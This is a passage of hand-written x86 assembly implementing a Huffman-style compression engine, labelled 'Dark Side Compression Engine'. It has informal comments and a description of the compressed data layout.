mov     esi,edx                         ; we get there
movsb                                   ; saving everyhting
movsd
mov     dword ptr [esi-4],0             ; we set before this one to zero
                                        ; nothing is biggest than zero :)
pop     esi                             
pop	ecx

dec	ebx
cmp     ebx,0                           ; this routine eat a lot of memory...
jne	buildarbitrarydictionaryloop1	; super highway 2561 bytes eaten

thengotothere:

pop	ecx
pop	esi				; -8

pop 	edx

mov     word ptr [edx+5],cx             ; we then set in the destination
lea     eax,[edx+7]                     ; number of entr

push	eax

makethree:                              ; now we make a three
                                        ; if ya don't understand, go read
                                        ; huffman compression egine
lea	edi,[esi+512*5+5]			; +2560 bytes eaten
lea	ebp,[edi+512*5+5]			; +1536 bytes eaten 

push	esi
push	ebp

mov     edx,ecx                                 ; edx contain number of 
                                                ; image in three
untilnothree:

push	esi
push	edi
push	ebp
mov	ebp,edx
sub	ebp,ecx
push	ecx
push    edx                                     ; saving these value for
                                                ; completing the loop
mov	ecx,edx

getfromthree:

mov	eax,ecx
shl	eax,2
add     ecx,eax                         ; multiply ecx by 5

mov	edx,ebp

mov     eax,edx                         ; multiply ecx by 5
shl	eax,2
add	edx,eax				; gain of speed from slow mul/div...

push	edi
push	ecx
repz	movsb				; copy the buffer :]
pop     ecx                             ; because we will operate on it
pop	edi

xor	ebp,ebp
xor     ebx,ebx                         ; resent constants

mov	dh,byte ptr [edi+edx]
add	edi,ecx

escalator:

push	edi
push	ecx

mov     eax,dword ptr [edi+1-5]         ; we get current

cmp     dh,byte ptr [edi-5]             ; and look if he's in the two last
jne     thendontsetthebit               ; object of the vertical three

inc     ebp                             ; if so, then update the current
ror     bx,1                            ; value for horizontal three 
jmp     thendontsetthebit3              ; correspondance (shift 1 + 0)

thendontsetthebit:

cmp     dh,byte ptr [edi-5-5]           ; look if before the last...
jne	thendontsetthebit2

inc	ebp
ror     bx,1                    
inc     bx                              ; shif 1 + 1
jmp	thendontsetthebit3

thendontsetthebit3:

mov     dh,byte ptr [edi-5-5]           ;

thendontsetthebit2:

mov     dl,byte ptr [edi-5-5]           ; make fusion of last two entries

add     eax,dword ptr [edi+1-5-5]       ; we get new entry

thenputloop:

cmp 	eax,dword ptr [edi-5+1]
jb	thenputhere

mov     esi,dword ptr [edi-5]           ; then refix all the table with the
mov	dword ptr [edi],esi
mov     esi,dword ptr [edi-5+1]         ; this value
mov	dword ptr [edi+1],esi

sub	edi,5
sub     ecx,5                           ; repeat it
cmp	ecx,0
jne     thenputloop                     ; for every value

thenputhere:

mov     byte ptr [edi],dl                 ; this is in case of the last
mov     dword ptr [edi+1],eax             ; change all the substructure
sub     edi,3                             ; of the three

thenitsfinish:

pop	ecx
pop	edi
                                          ; this is for the loop
sub	edi,5
sub     ecx,5                             
cmp	ecx,5
jne	escalator

mov	cx,bp
dec	cx
rol	bx,cl

mov	eax,ebp

pop     edx                                     ; restore datas
pop	ecx
pop	ebp
pop	edi
pop	esi

mov     byte ptr [ebp],al                       ; save this in the three
mov	word ptr [ebp+1],bx
add	ebp,3

dec	ecx
jnz     untilnothree                            ; we have to do this for
                                                ; each object of the three
mov	byte ptr [ebp],0

pop     ebp                                     ; restore data for 
pop     edx                                     ; encoding

pop	edi
pop	ecx
pop	esi

push ecx                                ; compressing a bit the corrspondance
push edi                                ; table make it working without extra
                                        ; memory...
movzx ecx,word ptr [edi-2]              ; 

dicotype2:				; build a mini char/three 

mov 	al,byte ptr [edx]		; correspondance table
mov 	byte ptr [edi],al 		; even as mini, for 24 char, it take
mov	al,byte ptr [ebp]		; 1024 caracters :(
mov	byte ptr [edi+1],al		; blah, nobody is perfect...
mov	ax,word ptr [ebp+1]		; now we concatenate the binary to the
mov	word ptr [edi+2],ax		; now we concatenate the binary to the

add	edx,5
add	ebp,3
add	edi,4

loop	dicotype2

pop	edx
pop ecx

mov word ptr [edi],-1                           ; this to make a stop for
                                                ; decompressing
inc edi
inc edi

mov dword ptr [edi],0                           ; set zero to there, reset
                                                ; values
inc edi

compressloop:

mov     al,byte ptr [esi]                       ; get current ascii in
                                                ; data to be compressed
push	ecx
push	edx

sub     edx,4                                   ; we have to start at zero
scannext01:
add	edx,4

cmp	byte ptr [edx],al
jne     scannext01                              ; loop until we get the value

xor	ecx,ecx
mov	cl,byte ptr [edx+1]
mov	dx,word ptr [edx+2]		; now we concatenate the binary to the
dec	cl				; buffer, [edi] = the pos of the bit of
ror	dx,cl
inc	cl

hereweloop:

mov	ah,8
sub	ah,byte ptr [edi]		; [edi-1]

cmp	ah,0
jne     thennoneedofimplementation      ;look if we completed a entire 8 byte

mov     word ptr [edi],0                ; then resent edi
inc     edi                             ; increment it
mov	ah,8

thennoneedofimplementation:

dec	ah
xchg	ah,cl
mov     al,byte ptr [edi-1]             ; we have to change edi-1
ror     al,cl                           ; and shift it

push	edx

and     edx,1                           ; we look if we 
add     eax,edx                         ; need to concatenate one bit
                                        ; of the three image
pop	edx

rol	al,cl
rol     dx,1                            ; set to next bye change

mov     byte ptr [edi-1],al             ; store it
inc	byte ptr [edi]

xchg    ah,cl                           
inc     ah                              ; restore the position

loop    hereweloop                      ; and then concatenate ecx eax

pop	edx
pop     ecx                             ; then compress all the datas

inc	esi

loop	compressloop

pop	edx

sub     edx,edi                         ; now get size of the compressed
neg     edx                             ; segment

;
; The memory is done such like:
;
; Off Size 	Description
; 0 - byte      068h - (0x68) - Recognizing mark
; 1 - word	Original size: Dword
; 5 - byte	Number of tree entry
; 7 - entries 
; entry (4bytes) : 	- 1 byte: ascii number
;			- 2 byte: number of bits
;			- 3 word: recognition 		
; ? - word 	0FFFFh - (0xFFFF) - reserved			/ bug fix :P
; ? - ?		compressed datas				/ file size
;

mov	dword ptr [esp+20h-4],edx
popad                                           ; return back
ret

db      '[DSCEi386]'			; Dark Side Compression Engine

---



